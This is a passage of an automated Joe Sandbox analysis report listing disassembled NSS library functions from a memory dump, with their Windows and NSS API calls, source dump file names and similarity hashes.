Part of subcall function 6CE23090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE2317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CE9DBBD), ref: 6CE9DFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE9DFEE

Part of subcall function 6CE386D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE38716
Part of subcall function 6CE386D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE38727
Part of subcall function 6CE386D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE3873B
Part of subcall function 6CE386D0: PR_Unlock.NSS3(?), ref: 6CE3876F
Part of subcall function 6CE386D0: PR_SetError.NSS3(00000000,00000000), ref: 6CE38787

Part of subcall function 6CE5F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CE5F854
Part of subcall function 6CE5F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CE5F868
Part of subcall function 6CE5F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CE5F882
Part of subcall function 6CE5F820: free.MOZGLUE(04C483FF,?,?), ref: 6CE5F889
Part of subcall function 6CE5F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CE5F8A4
Part of subcall function 6CE5F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CE5F8AB
Part of subcall function 6CE5F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CE5F8C9
Part of subcall function 6CE5F820: free.MOZGLUE(280F10EC,?,?), ref: 6CE5F8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6CE9DBBD), ref: 6CE9DFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6CE9DBBD), ref: 6CE9E007

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: b865a8fbd4add524f8d0a923e49cdc81f45ad02292d0fd464f2941680cb9996f
Instruction ID: 0b9806adea2e418099c3c51521a8534c1a41040b55aa6f4344ad455a062a180b
Opcode Fuzzy Hash: b865a8fbd4add524f8d0a923e49cdc81f45ad02292d0fd464f2941680cb9996f
Instruction Fuzzy Hash: 6A3107B5B0061157D7109A799C86BAB72B8AF5530CF240139E90BD7B02FB35E618C2E2

Function 6CE16C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE16C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE16CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CE16CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CF38FE0), ref: 6CE16CFE

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 6ef7634276ba7f2a424c08ad6e940e99281463e59b5fe70c1392c3271b533988
Instruction ID: aad7fe7f739d04dc1d9aa012f1f235b9a2737409cd3249bbc716e032cb5e1d56
Opcode Fuzzy Hash: 6ef7634276ba7f2a424c08ad6e940e99281463e59b5fe70c1392c3271b533988
Instruction Fuzzy Hash: 5D3192B1A042169FDB04DF65C891ABFBBF9EF45248F20443DD905D7B10EB319915CBA0

Function 6CF24F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6CF24F5D
free.MOZGLUE(?), ref: 6CF24F74
free.MOZGLUE(?), ref: 6CF24F82
GetLastError.KERNEL32 ref: 6CF24F90

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 5878dd5a29cafae921a66c49bc0b6d7c56b71ea0550103aa0dc9ca5746e0f002
Instruction ID: 2dd266cb79f2b4a7a5367881755f5e6f3019af000c4f6c11ba35aa9021e968d1
Opcode Fuzzy Hash: 5878dd5a29cafae921a66c49bc0b6d7c56b71ea0550103aa0dc9ca5746e0f002
Instruction Fuzzy Hash: 6D314876A002095BEF11CFA9DC81BDFB7B8EF85348F040229EC65A7681D778A90586A1

Function 6CE86DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CE86E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE86E57

Part of subcall function 6CEBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEBC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CE86E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CE86EAA

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: cda8ec51eef948998ff27a3c62af0b783b898ce9d9fa0201738d74a9edee9e3d
Instruction ID: 217212b21ca5604cbfc0cc55d6cf9526db0d722d6e7becb1736d9e7e32f41a7c
Opcode Fuzzy Hash: cda8ec51eef948998ff27a3c62af0b783b898ce9d9fa0201738d74a9edee9e3d
Instruction Fuzzy Hash: A0318031632516EADB145E74DD04396B7B8AB0131EF30063DD49ED6B40EB317655CBA1

Function 6CE6DDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6CE6DDB1,?,00000000), ref: 6CE6DDF4

Part of subcall function 6CE714C0: TlsGetValue.KERNEL32 ref: 6CE714E0
Part of subcall function 6CE714C0: EnterCriticalSection.KERNEL32 ref: 6CE714F5
Part of subcall function 6CE714C0: PR_Unlock.NSS3 ref: 6CE7150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6CE6DDB1,?,00000000), ref: 6CE6DE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6CE6DDB1,?,00000000), ref: 6CE6DE17

Part of subcall function 6CE70BE0: malloc.MOZGLUE(6CE68D2D,?,00000000,?), ref: 6CE70BF8
Part of subcall function 6CE70BE0: TlsGetValue.KERNEL32(6CE68D2D,?,00000000,?), ref: 6CE70C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CE6DE80

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: 0b9b1bad50c51d44789fd7b27a8b6e28f4d20e32fab5883a2af4836e0c197904
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 9B31BEB5E50B429BE700CF56C880662B7B4BFA531CB74822ED81887F01E770E2A4CB90

Function 6CE5FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CE35ADC,?,00000000,00000001,?,?,00000000,?,6CE2BA55,?,?), ref: 6CE5FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CE5FE5F
PR_Unlock.NSS3(78831D74), ref: 6CE5FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6CE5FED6

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 59a3ce935dd7adb5bb67485aae35ea112ac5534c174e0bd1ff8f1f05629d7778
Instruction ID: 06616951f4c1aea8514d215db0d5d50c1a094466a39b41f0c1c3cdbc83e70e07
Opcode Fuzzy Hash: 59a3ce935dd7adb5bb67485aae35ea112ac5534c174e0bd1ff8f1f05629d7778
Instruction Fuzzy Hash: 00210131F00625ABDB41AF25D8047AA7378BF0536CFA40128DD0467B02EB3AA924CBD0

Function 6CE63F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6CE63440: PK11_GetAllTokens.NSS3 ref: 6CE63481
Part of subcall function 6CE63440: PR_SetError.NSS3(00000000,00000000), ref: 6CE634A3
Part of subcall function 6CE63440: TlsGetValue.KERNEL32 ref: 6CE6352E
Part of subcall function 6CE63440: EnterCriticalSection.KERNEL32(?), ref: 6CE63542
Part of subcall function 6CE63440: PR_Unlock.NSS3(?), ref: 6CE6355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CE4E80C,00000000,00000000,?,?,?,?,6CE58C5B,-00000001), ref: 6CE63FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CE4E80C,00000000,00000000,?,?,?,?,6CE58C5B,-00000001), ref: 6CE63FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6CE4E80C,00000000,00000000,?,?,?,?,6CE58C5B,-00000001), ref: 6CE63FFE
PR_SetError.NSS3 ref: 6CE6401A

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: 5ded4d8d8aad946c760cd44cc28c9c2c4338a11f55a16e050784d49915efdb21
Instruction ID: 2c2e833ec3659144f4f83a32298075a8195c6c046bc7d0feda82a034d8649373
Opcode Fuzzy Hash: 5ded4d8d8aad946c760cd44cc28c9c2c4338a11f55a16e050784d49915efdb21
Instruction Fuzzy Hash: F6317271914714CFD741EF6AD58466ABBF0FF85318F21592ED88987B00EB34E885CB92

Function 6CE54FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CE5B60F,00000000), ref: 6CE55003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CE5B60F,00000000), ref: 6CE5501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6CE5B60F,00000000), ref: 6CE5504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6CE5B60F,00000000), ref: 6CE55064

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 3b1d2d38679fb3d4c919b89c02c078c0351fce11edfe31a716c83d0b97e36b8e
Instruction ID: 8e581795f2d51b36a9c63d92669dfcd467d7f73d4ac3fd51c9575947883d4b12
Opcode Fuzzy Hash: 3b1d2d38679fb3d4c919b89c02c078c0351fce11edfe31a716c83d0b97e36b8e
Instruction Fuzzy Hash: 7E3128B4A05606CFDB40EF68C48466ABBF4FF09308B65852ED899D7701E731E8A4CBD1

Function 6CE79F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CE7A71A,FFFFFFFF,?,?), ref: 6CE79FAB

Part of subcall function 6CE714C0: TlsGetValue.KERNEL32 ref: 6CE714E0
Part of subcall function 6CE714C0: EnterCriticalSection.KERNEL32 ref: 6CE714F5
Part of subcall function 6CE714C0: PR_Unlock.NSS3 ref: 6CE7150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6CE7A71A,6CE7A71A,00000000), ref: 6CE79FD9

Part of subcall function 6CE71340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE1895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE0F599,?,00000000), ref: 6CE7136A
Part of subcall function 6CE71340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CE1895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE0F599,?,00000000), ref: 6CE7137E
Part of subcall function 6CE71340: PL_ArenaGrow.NSS3(?,6CE0F599,?,00000000,?,6CE1895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE0F599,?), ref: 6CE713CF
Part of subcall function 6CE71340: PR_Unlock.NSS3(?,?,6CE1895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE0F599,?,00000000), ref: 6CE7145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CE7A71A,6CE7A71A,00000000), ref: 6CE7A009
PR_SetError.NSS3(FFFFE013,00000000,6CE7A71A,6CE7A71A,00000000), ref: 6CE7A045

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: 73326a8a05f6103d3e556ed69cec0dbbe59686236562e17c64c9262cbd5bc9c3
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: D321C2B4601206ABF7249F55DC54F66B7B9FF8135CF20812CD8298BB81EB75E815CBA0

Function 6CE82DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CE82E08

Part of subcall function 6CE714C0: TlsGetValue.KERNEL32 ref: 6CE714E0
Part of subcall function 6CE714C0: EnterCriticalSection.KERNEL32 ref: 6CE714F5
Part of subcall function 6CE714C0: PR_Unlock.NSS3 ref: 6CE7150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CE82E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CE82E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE82E95

Part of subcall function 6CE71200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CE188A4,00000000,00000000), ref: 6CE71228
Part of subcall function 6CE71200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CE71238
Part of subcall function 6CE71200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CE188A4,00000000,00000000), ref: 6CE7124B
Part of subcall function 6CE71200: PR_CallOnce.NSS3(6CF72AA4,6CE712D0,00000000,00000000,00000000,?,6CE188A4,00000000,00000000), ref: 6CE7125D
Part of subcall function 6CE71200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CE7126F
Part of subcall function 6CE71200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CE71280
Part of subcall function 6CE71200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CE7128E
Part of subcall function 6CE71200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CE7129A
Part of subcall function 6CE71200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CE712A1

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 2a1ba89d8b7e90421beb26230dcf624188bb09bad89a059ed19cf20f7a094744
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 6621C2B1D023454BEB11CF549D48BAA3674ABA134CF310269DD0C6B752F7B2E698C3B6

Function 6CE3ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CE3ACC2

Part of subcall function 6CE12F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE12F0A
Part of subcall function 6CE12F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE12F1D

Part of subcall function 6CE12AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CE10A1B,00000000), ref: 6CE12AF0
Part of subcall function 6CE12AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE12B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CE3AD5E

Part of subcall function 6CE557D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CE1B41E,00000000,00000000,?,00000000,?,6CE1B41E,00000000,00000000,00000001,?), ref: 6CE557E0
Part of subcall function 6CE557D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CE55843

CERT_DestroyCertList.NSS3(?), ref: 6CE3AD36

Part of subcall function 6CE12F50: CERT_DestroyCertificate.NSS3(?), ref: 6CE12F65
Part of subcall function 6CE12F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE12F83

free.MOZGLUE(?), ref: 6CE3AD4F

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 3aaba17d21723475cf9f408e4b7be66114aa0c60db26606b333a5f14b6206be5
Instruction ID: fc0e31afc914638da1d1c554d817164ca1cc6e5e8d5ad87d01d54487752937db
Opcode Fuzzy Hash: 3aaba17d21723475cf9f408e4b7be66114aa0c60db26606b333a5f14b6206be5
Instruction Fuzzy Hash: B021C6B1D002249BEF11DFA4D8065EEB7B4AF1620CF66506CD8487B710FB31BA95CBA1

Function 6CE63C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE63C9E
EnterCriticalSection.KERNEL32(?), ref: 6CE63CAE
PR_Unlock.NSS3(?), ref: 6CE63CEA
PR_SetError.NSS3(00000000,00000000), ref: 6CE63D02

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 10168127f6d73a5a87c04a8d7bb0e5729c70f9bef9b684e5cc349f70d2878463
Instruction ID: ae51c978cda1dc53d53cd45b73ed85ed23ec6e7db15910c07c3248d42b34f8f4
Opcode Fuzzy Hash: 10168127f6d73a5a87c04a8d7bb0e5729c70f9bef9b684e5cc349f70d2878463
Instruction Fuzzy Hash: 4011B479A50214AFDB40AF25DC48A9A3778EF0936CF254564FD0897712D730ED54CBE0

Function 6CE6ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CE6F0AD,6CE6F150,?,6CE6F150,?,?,?), ref: 6CE6ECBA

Part of subcall function 6CE70FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE187ED,00000800,6CE0EF74,00000000), ref: 6CE71000
Part of subcall function 6CE70FF0: PR_NewLock.NSS3(?,00000800,6CE0EF74,00000000), ref: 6CE71016
Part of subcall function 6CE70FF0: PL_InitArenaPool.NSS3(00000000,security,6CE187ED,00000008,?,00000800,6CE0EF74,00000000), ref: 6CE7102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CE6ECD1

Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE710F3
Part of subcall function 6CE710C0: EnterCriticalSection.KERNEL32(?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7110C
Part of subcall function 6CE710C0: PL_ArenaAllocate.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71141
